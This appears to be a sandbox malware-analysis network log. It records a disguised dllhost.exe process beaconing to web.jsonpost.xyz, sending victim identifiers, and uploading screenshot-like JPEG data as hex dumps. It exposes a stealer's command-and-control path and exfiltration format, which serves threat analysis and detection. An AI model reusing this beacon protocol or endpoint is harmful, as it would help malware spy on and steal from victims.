Nov 29, 2024 01:52:12.337697029 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:12.337806940 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:52:12.457684040 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49743	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:13.217861891 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49744	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:13.702984095 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:13.703012943 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:13.703089952 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:13.703111887 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:13.823136091 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:13.823223114 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:13.823251963 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:13.823338032 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:13.823385954 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:13.823386908 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:13.823441029 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49746	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:14.650605917 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49747	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:15.180883884 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:15.180951118 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:15.180977106 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:15.181057930 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:15.301019907 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:15.301048040 CET	2472	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:52:15.301071882 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:52:15.301090002 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:15.301161051 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:15.301233053 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:52:15.301311016 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49748	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:16.064665079 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49750	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:16.532196999 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7 Host: web.jsonpost.xyz Content-Length: 98005 Cache-Control: no-cache
Nov 29, 2024 01:52:16.532391071 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 65 63 62 36 34 34 39 62 31 31 32 35 30 30 31 39 66 38 39 65 64 31 30 66 38 65 63 31 35 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------1ecb6449b11250019f89ed10f8ec15d7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:16.532465935 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:16.532497883 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:52:16.652507067 CET	7416	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:52:16.652540922 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:52:16.652556896 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:52:16.652653933 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:52:16.652702093 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:52:16.652759075 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:52:16.773580074 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49752	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:17.586007118 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49753	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:52:18.059998989 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b9b9ff44e8c4fb7bf9d9e9a94afafff0 Host: web.jsonpost.xyz Content-Length: 99446 Cache-Control: no-cache
Nov 29, 2024 01:52:18.060034037 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 39 62 39 66 66 34 34 65 38 63 34 66 62 37 62 66 39 64 39 65 39 61 39 34 61 66 61 66 66 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b9b9ff44e8c4fb7bf9d9e9a94afafff0Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:52:18.060115099 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:52:18.060163021 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
